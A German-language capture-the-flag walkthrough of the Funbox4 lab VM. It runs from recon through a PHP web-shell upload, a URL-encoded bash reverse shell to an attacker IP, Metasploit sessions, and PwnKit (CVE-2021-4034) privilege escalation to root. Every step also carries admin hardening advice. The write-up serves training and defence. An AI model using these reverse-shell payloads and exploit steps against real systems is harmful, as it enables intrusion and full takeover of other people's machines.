192.168.2.154 08:00:27:64:37:80 PCS Systemtechnik GmbH
Analyse: Mittels `arp-scan -l` wird das lokale Netzwerk nach aktiven Geräten gescannt.
Bewertung: Der Host `192.168.2.154` (VirtualBox VM) wird als Ziel "Funbox4 - CTF" identifiziert.
Empfehlung (Pentester): Nutze `192.168.2.154` als Ziel-IP.
Empfehlung (Admin): Netzwerk-Monitoring.
192.168.2.154 funbox.vln
Analyse: Die lokale `/etc/hosts`-Datei wird angepasst, um `192.168.2.154` den Namen `funbox.vln` zuzuordnen.
Bewertung: Erleichtert die Ansprache des Ziels.
Empfehlung (Pentester): Verwende `funbox.vln` für weitere Scans.
Empfehlung (Admin): Lokale Angreifer-Konfiguration.
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) 110/tcp open pop3 Dovecot pop3d 143/tcp open imap Dovecot imapd
Analyse: Ein schneller Nmap-Scan gefiltert nach offenen Ports.
Bewertung: Identifiziert offene Ports: SSH (22), HTTP (80), POP3 (110) und IMAP (143).
Empfehlung (Pentester): Untersuche alle Dienste, beginnend mit HTTP.
Empfehlung (Admin): Nur notwendige Ports offen lassen, Dienste aktuell halten.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-29 00:46 CEST Nmap scan report for funbox.vln (192.168.2.154) Host is up (0.00014s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: [...] 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Apache2 Ubuntu Default Page: It works |_http-server-header: Apache/2.4.18 (Ubuntu) 110/tcp open pop3 Dovecot pop3d |_pop3-capabilities: CAPA RESP-CODES SASL TOP AUTH-RESP-CODE PIPELINING UIDL 143/tcp open imap Dovecot imapd |_imap-capabilities: LITERAL+ IDLE ENABLE LOGIN-REFERRALS OK ID listed Pre-login LOGINDISABLEDA0001 capabilities IMAP4rev1 have SASL-IR more post-login MAC Address: 08:00:27:64:37:80 (Oracle VirtualBox virtual NIC) [...] OS details: Linux 3.2 - 4.9 [...] Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.14 ms funbox.vln (192.168.2.154) [...]
Analyse: Der vollständige Nmap-Scan liefert Details zu den Diensten: * SSH: OpenSSH 7.2p2 (Veraltet). * HTTP: Apache 2.4.18 (Veraltet), zeigt Standardseite. * POP3/IMAP: Dovecot, unterstützt PLAIN-Auth (siehe `telnet`-Versuch später).
Bewertung: Die veralteten Versionen von SSH und Apache sind potenzielle Angriffsvektoren. Die Mail-Dienste sind ebenfalls Ziele für Enumeration oder Passwort-Angriffe.
Empfehlung (Pentester): Fokussiere dich auf Web (Port 80) wegen der Standardseite und möglicher versteckter Verzeichnisse. Untersuche Mail-Dienste auf Benutzer und teste ggf. Logins. Recherchiere Schwachstellen für die erkannten Versionen.
Empfehlung (Admin): Aktualisiere dringend alle Dienste (SSH, Apache, Dovecot). Konfiguriere Mail-Dienste sicher.
- Nikto v2.5.0 [...] + Target IP: 192.168.2.154 + Target Port: 80 + Start Time: 2023-07-29 00:46:32 (GMT2) [...] + Server: Apache/2.4.18 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. [...] + /: The X-Content-Type-Options header is not set. [...] + No CGI Directories found [...] + Apache/2.4.18 appears to be outdated [...]. + /: Server may leak inodes via ETags [...] + OPTIONS: Allowed HTTP Methods: POST, OPTIONS, GET, HEAD . + /icons/README: Apache default file found. [...] + /#wp-config.php#: #wp-config.php# file found. This file contains the credentials. [...] + End Time: 2023-07-29 00:46:49 (GMT2) (17 seconds) [...]
Analyse: `nikto` scannt Port 80 und findet: * Veralteten Apache 2.4.18. * Fehlende Sicherheitsheader. * Mögliches Inode-Leak. * Standard-Datei `/icons/README`. * **Kritisch:** Eine Backup-Datei `/#wp-config.php#`, die Zugangsdaten enthalten soll. **Datum extrahiert:** 2023-07-29.
Bewertung: Der Fund der `#wp-config.php#`-Datei ist **hochkritisch** und wahrscheinlich der beabsichtigte Weg für den nächsten Schritt. Obwohl Nmap keinen WordPress-Hinweis lieferte, deutet dieser Fund stark darauf hin.
Empfehlung (Pentester): **Priorität:** Versuche sofort, die Datei `#wp-config.php#` über den Browser oder `curl` herunterzuladen (`http://funbox.vln/%23wp-config.php%23` - URL-kodiert) und den Inhalt zu analysieren.
Empfehlung (Admin): **Dringend:** Entferne Konfigurations-Backups aus Web-Verzeichnissen. Blockiere den Zugriff auf solche Dateinamenmuster. Ändere alle darin gefundenen Zugangsdaten.
[...] http://funbox.vln/index.html (Status: 200) [Size: 11321] [...]
Analyse: `gobuster` findet nur die `/index.html`-Datei.
Bewertung: Bestätigt, dass auf der Root-Ebene keine offensichtlichen Verzeichnisse oder Dateien außer der Standardseite vorhanden sind. Dies verstärkt die Bedeutung des `nikto`-Fundes (`#wp-config.php#`) und des `robots.txt`-Eintrags aus dem Nmap-Scan (`/gym` oder `/logs/`? - Nmap sagte `/logs/`, Nikto erwähnte keine robots.txt, curl fand später `RBTS.TXT` mit `/upload/` und `/igmseklhgmrjmtherij2145236`). Die `robots.txt`-Informationen scheinen inkonsistent oder fehlerhaft im Log.
Empfehlung (Pentester): Ignoriere vorerst die widersprüchlichen `robots.txt`-Infos und konzentriere dich auf den `#wp-config.php#`-Fund von Nikto und das spätere `curl`-Ergebnis für `RBTS.TXT`.
Empfehlung (Admin): Sorge für konsistente Konfigurationen.
funbox.vln [192.168.2.154] 22 (ssh) open SSH-2.0-OpenSSH_7.2p2 Ubuntu-4 Protocol mismatch. [...]
funbox.vln [192.168.2.154] 110 (pop3) open +OK Dovecot ready.
funbox.vln [192.168.2.154] 143 (imap2) open * OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE LOGINDISABLED] Dovecot ready.
Trying 192.168.2.154... Connected to 192.168.2.154. Escape character is '^]'. * OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE LOGINDISABLED] Dovecot ready. A1 LOGIN username password * BAD [ALERT] Plaintext authentication not allowed without SSL/TLS, but your client did it anyway. If anyone was listening, the password was exposed. A1 NO [PRIVACYREQUIRED] Plaintext authentication disallowed on non-secure (SSL/TLS) connections.
Analyse: Manuelle Verbindungsversuche mit `nc` und `telnet` zu den Ports: * SSH (22): Zeigt das Banner, `nc` kann das Protokoll nicht sprechen. * POP3 (110): Zeigt das Dovecot-Banner. * IMAP (143): Zeigt das Dovecot-Banner. Ein manueller Login-Versuch mit `telnet` und `A1 LOGIN username password` scheitert, da Plaintext-Authentifizierung ohne SSL/TLS nicht erlaubt ist.
Bewertung: Bestätigt die Dienste und Banner. Die Mail-Dienste erfordern eine verschlüsselte Verbindung (STARTTLS oder Imaps/Pop3s) oder andere Authentifizierungsmethoden für einen Login-Versuch.
Empfehlung (Pentester): Mail-Dienste sind vorerst kein einfacher Angriffsvektor. Konzentriere dich auf HTTP.
Empfehlung (Admin): Gute Konfiguration, Plaintext-Auth über unverschlüsselte Verbindungen zu verbieten.
Disallow: upload/ Disallow: igmseklhgmrjmtherij2145236
Analyse: Ein `curl`-Versuch gegen `RBTS.TXT` (Großschreibung!) ist erfolgreich und liefert eine `robots.txt`-ähnliche Datei. Sie verbietet das Verzeichnis `/upload/` und ein obskures Verzeichnis `/igmseklhgmrjmtherij2145236`.
Bewertung: Dies ist ein wichtiger Fund und widerspricht den vorherigen `robots.txt`-Funden. Das versteckte Verzeichnis `/igmseklhgmrjmtherij2145236` ist das Hauptziel.
Empfehlung (Pentester): Untersuche das Verzeichnis `http://funbox.vln/igmseklhgmrjmtherij2145236/`.
Empfehlung (Admin): Verwende konsistente Dateinamen (`robots.txt` vs. `RBTS.TXT`). Verstecke Pfade nicht nur durch `robots.txt`, sondern sichere sie serverseitig ab.
301 Moved Permanently Moved Permanently
The document has moved here.
Apache/2.4.18 (Ubuntu) Server at funbox.vln Port 80
# view-source:http://funbox.vln/igmseklhgmrjmtherij2145236/upload.html
Analyse: Der Zugriff auf das Verzeichnis `/igmseklhgmrjmtherij2145236` leitet zu `/igmseklhgmrjmtherij2145236/` weiter. Dort wird eine Datei `upload.html` gefunden (oder ist die Index-Datei). Der Quelltext zeigt ein einfaches HTML-Formular, das Dateien an `upload.php` sendet.
Bewertung: Eine Dateiupload-Funktion wurde in dem versteckten Verzeichnis gefunden. Dies ist ein hochwahrscheinlicher Vektor für den initialen Zugriff, wenn der Upload nicht ausreichend validiert wird.
Empfehlung (Pentester): Teste die Upload-Funktion. Versuche, eine PHP-Webshell oder Reverse-Shell (`cmd.php`) hochzuladen. Prüfe, ob der Dateityp, die Endung oder der Inhalt validiert werden.
Empfehlung (Admin): Implementiere eine sichere Dateiupload-Validierung (Typ, Endung, Größe, Inhalt). Speichere Uploads außerhalb des Web-Roots oder ohne Ausführungsrechte.
# Upload von cmd.php (Annahme: ) über http://funbox.vln/igmseklhgmrjmtherij2145236/upload.html # Serverantwort nach Upload (aus Log): # http://funbox.vln/igmseklhgmrjmtherij2145236/upload.php # Upload your time sheet, please: # The file cmd.php has been uploaded
# Zugriff auf http://funbox.vln/igmseklhgmrjmtherij2145236/upload/cmd.php?cmd=id uid=33(www-data) gid=33(www-data) groups=33(www-data)
Analyse: Eine PHP-Datei (`cmd.php`), die wahrscheinlich Code zur Ausführung von Systembefehlen über einen GET-Parameter enthält (z.B. ``), wird erfolgreich über das Formular hochgeladen. Der Server bestätigt den Upload. Ein Testaufruf der hochgeladenen Datei mit `?cmd=id` führt den `id`-Befehl aus und gibt die UID des Webservers (`www-data`) zurück.
Bewertung: Die Dateiupload-Schwachstelle wurde erfolgreich ausgenutzt. Wir haben nun Remote Code Execution (RCE) als Benutzer `www-data`.
Empfehlung (Pentester): Nutze die RCE, um eine Reverse Shell zum Angreifer-System aufzubauen.
Empfehlung (Admin): **Dringend!** Behebe die unsichere Upload-Funktion. Entferne die hochgeladene Shell.
# Versuch mit nc: http://funbox.vln/igmseklhgmrjmtherij2145236/upload/cmd.php?cmd=nc%20-e%20/bin/bash%20192.168.2.199%204444 # (Klappt nicht laut Kommentar im Log)
listening on [any] 4444 ...
# Payload URL: http://funbox.vln/igmseklhgmrjmtherij2145236/upload/cmd.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.154] 51920 bash: cannot set terminal process group (5696): Inappropriate ioctl for device bash: no job control in this shell www-data@funbox4:/var/www/html/igmseklhgmrjmtherij2145236/upload$
Analyse: 1. Ein erster Versuch, eine Reverse Shell mit `nc -e` über die RCE zu starten, scheitert (möglicherweise ist `nc -e` nicht verfügbar oder blockiert). 2. Ein Netcat-Listener wird auf Port 4444 gestartet. 3. Eine URL-kodierte Bash-Reverse-Shell-Payload (`/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.199/4444 0>&1'`) wird an den `cmd`-Parameter der `cmd.php` übergeben und aufgerufen. 4. Der Listener empfängt erfolgreich die Verbindung, und wir erhalten eine Shell als `www-data`.
Bewertung: Der initiale Zugriff als `www-data` wurde über RCE mittels der hochgeladenen PHP-Shell und einer Bash-Reverse-Shell erreicht.
Empfehlung (Pentester): Stabilisiere die Shell ggf. Beginne mit der Enumeration für Privilege Escalation.
Empfehlung (Admin): Behebe die RCE-Schwachstelle. Implementiere Egress-Filterung.
131860 40 -rwsr-xr-x 1 root root 40128 May 17 2017 /bin/su [...] 152892 32 -rwsr-xr-x 1 root root 30800 Mar 11 2016 /bin/fusermount [...] 35468 24 -rwsr-xr-x 1 root root 23376 Mar 27 2019 /usr/bin/pkexec [...] 7344 136 -rwsr-xr-x 1 root root 136808 Jan 31 2020 /usr/bin/sudo [...] 35475 88 -rwsr-sr-x 1 root mail 89288 Nov 17 2017 /usr/bin/procmail [...]
Analyse: Die Suche nach SUID-Dateien als `www-data` wird durchgeführt.
Bewertung: Findet Standard-SUID-Binaries, darunter `/usr/bin/pkexec` und `/usr/bin/sudo`. `/usr/bin/procmail` (SGID mail) ist ebenfalls vorhanden.
Empfehlung (Pentester): Überprüfe die Kernel-Version (`uname -a`) auf Anfälligkeit für PwnKit (CVE-2021-4034), da `pkexec` vorhanden ist. Prüfe, ob `sudo -l` für `www-data` Ergebnisse liefert (unwahrscheinlich).
Empfehlung (Admin): Halte das System gepatcht. Überprüfe SUID/SGID-Berechtigungen.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/usr/bin/systemd-detect-virt = cap_dac_override,cap_sys_ptrace+ep /usr/bin/traceroute6.iputils = cap_net_raw+ep /usr/bin/mtr = cap_net_raw+ep
Analyse: `id` bestätigt den Benutzer `www-data`. `getcap` findet keine ungewöhnlichen Linux Capabilities.
Bewertung: Keine einfachen PE-Vektoren über Capabilities gefunden.
Empfehlung (Pentester): Konzentriere dich auf SUID (`pkexec`) oder Kernel-Exploits.
Empfehlung (Admin): Keine neuen Erkenntnisse.
drwxr-xr-x 4 root root 4096 Aug 29 2020 . drwxr-xr-x 23 root root 4096 Jul 29 00:54 .. drwxrwx--- 4 anna anna 4096 Aug 30 2020 anna drwxr-xr-x 4 thomas thomas 4096 Aug 30 2020 thomas
[...] -rw-r--r-- 1 thomas thomas 195 Aug 29 2020 .todo [...] -rwxr-xr-x 1 thomas thomas 3078592 Aug 22 2019 pspy64
1. make coffee 2. check backup 3. buy ram 4. call simone 5. check my mails 6. call lucas 7. add an exclamation mark to my passwords
Analyse: Das `/home`-Verzeichnis wird untersucht. Die Benutzer `anna` und `thomas` werden gefunden. Das Verzeichnis von `anna` ist für `www-data` nicht zugänglich (`drwxrwx---`). Im Verzeichnis von `thomas` wird eine Datei `.todo` gefunden. Der Inhalt listet Aufgaben auf, darunter Punkt 7: "add an exclamation mark to my passwords". Das Binary `pspy64` (Prozess-Sniffer) ist ebenfalls vorhanden.
Bewertung: Der Hinweis in `.todo` ist potenziell nützlich, falls Passwörter gefunden werden. Das Vorhandensein von `pspy64` könnte darauf hindeuten, dass man nach laufenden Prozessen oder Cronjobs suchen sollte, ist aber hier evtl. ein Überbleibsel. Der Hauptfokus sollte auf dem SUID-Binary `pkexec` liegen.
Empfehlung (Pentester): Überprüfe die Kernel-Version und versuche den PwnKit-Exploit für `pkexec`. Behalte den Hinweis aus `.todo` im Hinterkopf.
Empfehlung (Admin): Schule Benutzer darin, keine Passwort-bezogenen Hinweise in einfachen Textdateien zu hinterlassen. Überprüfe die Berechtigungen von Home-Verzeichnissen.
LHOST => 192.168.2.199
LPORT => 4445
[*] Started reverse TCP handler on 192.168.2.199:4445 [*] Command shell session 1 opened (192.168.2.199:4445 -> 192.168.2.154:47454) at 2023-07-29 01:19:41 +0200 $
session => 1
lhost => 192.168.2.199
lport => 4433
[*] Upgrading session ID: 1 [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 192.168.2.199:4433 [*] Sending stage (1017704 bytes) to 192.168.2.154 [*] Meterpreter session 2 opened (192.168.2.199:4433 -> 192.168.2.154:37516) at 2023-07-29 01:21:02 +0200 [...] [*] Post module execution completed
Analyse: Eine Python-Reverse-Shell wird (erneut oder zur Stabilisierung) zu einem neuen Metasploit-Listener auf Port 4445 aufgebaut (Session 1). Anschließend wird das `shell_to_meterpreter`-Modul verwendet, um diese einfache Shell in eine Meterpreter-Session (Session 2) auf Port 4433 aufzuwerten.
Bewertung: Das Upgrade zu Meterpreter erleichtert die weitere Ausnutzung, insbesondere für lokale Exploits wie PwnKit.
Empfehlung (Pentester): Nutze die Meterpreter-Session (Session 2), um den PwnKit-Exploit auszuführen.
Empfehlung (Admin): Antivirus/EDR kann Meterpreter-Payloads erkennen. Egress-Filterung kann Reverse Shells blockieren.
Analyse: Die Privilege Escalation erfolgt durch Ausnutzung der PwnKit-Schwachstelle (CVE-2021-4034) im SUID-Binary `/usr/bin/pkexec`. Der Exploit wird über die bestehende Meterpreter-Session (als `www-data`) mithilfe des entsprechenden Metasploit-Moduls ausgeführt.
Bewertung: PwnKit ist eine weit verbreitete Schwachstelle in Polkit, die es lokalen Benutzern ermöglicht, Root-Rechte zu erlangen. Das Vorhandensein von `/usr/bin/pkexec` und eine anfällige Kernel-/Polkit-Version machen diesen Exploit möglich.
Empfehlung (Pentester): Überprüfe immer das Vorhandensein von `pkexec` und teste auf PwnKit bei der PE-Enumeration.
Empfehlung (Admin): Patche das `policykit-1`-Paket dringend, um CVE-2021-4034 zu schließen.
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
[...]
lport => 4455
LHOST => 192.168.2.199
session => 2
[*] Started reverse TCP handler on 192.168.2.199:4455 [*] Running automatic check ("set AutoCheck false" to disable) [!] Verify cleanup of /tmp/.mysbamog [+] The target is vulnerable. [*] Writing '/tmp/.ygltbhzicb/bmgkvistqste/bmgkvistqste.so' (548 bytes) ... [!] Verify cleanup of /tmp/.ygltbhzicb [*] Sending stage (3045348 bytes) to 192.168.2.154 [+] Deleted /tmp/.ygltbhzicb/bmgkvistqste/bmgkvistqste.so [+] Deleted /tmp/.ygltbhzicb/.eannhneg [+] Deleted /tmp/.ygltbhzicb [*] Meterpreter session 3 opened (192.168.2.199:4455 -> 192.168.2.154:46508) at 2023-07-29 01:22:05 +0200
Analyse: 1. Das Metasploit-Modul für den PwnKit-Exploit wird geladen. 2. Die Optionen werden gesetzt: `LPORT` für die neue Root-Meterpreter-Session (4455), `LHOST` auf die Angreifer-IP, `SESSION` auf 2 (die Meterpreter-Session als `www-data`). 3. `run` startet den Exploit. Metasploit bestätigt die Anfälligkeit (`[+] The target is vulnerable.`), lädt die notwendigen Dateien hoch, führt den Exploit über `pkexec` aus und bereinigt die temporären Dateien. 4. Eine neue Meterpreter-Session (Session 3) wird erfolgreich geöffnet.
Bewertung: Der PwnKit-Exploit war erfolgreich und lieferte eine Root-Meterpreter-Session.
Empfehlung (Pentester): Wechsle zur neuen Session (`sessions -i 3`) und bestätige die Root-Rechte (`getuid`).
Empfehlung (Admin): Patche CVE-2021-4034.
Server username: root
Analyse: `getuid` in der Meterpreter-Session 3 bestätigt, dass die Session als `root` läuft.
Bewertung: Privilege Escalation erfolgreich abgeschlossen.
Empfehlung (Pentester): Suche die Root-Flag.
Empfehlung (Admin): Keine neuen Maßnahmen.
Process 29064 created. Channel 1 created.
flag.txt
( _`\ ( ) ( _`\(_ _)( _`\ | (_(_)_ _ ___ | |_ _ _ | ( (_) | | | (_(_) | _) ( ) ( )/' _ `\| '_`\ /'_`\ (`\/')(_) | | _ | | | _) | | | (_) || ( ) || |_) )( (_) ) > < _ | (_( ) | | | | (_) `\___/'(_) (_)(_,__/'`\___/'(_/\_)(_) (____/' (_) (_) Well done ! Made with love by @0815R2d2 ! I look forward to see this screenshot on twitter ;-)
Analyse: Eine Shell wird aus Meterpreter gestartet. Im `/root`-Verzeichnis wird `flag.txt` gefunden und ihr Inhalt angezeigt.
Bewertung: Die Root-Flag (ASCII-Art und Nachricht) wurde gefunden.
Empfehlung (Pentester): Dokumentiere die Flag. Suche die User-Flag (vermutlich `/home/thomas/user.txt` oder `/home/anna/user.txt`).
Empfehlung (Admin): Keine spezifische Aktion bezüglich der Flag.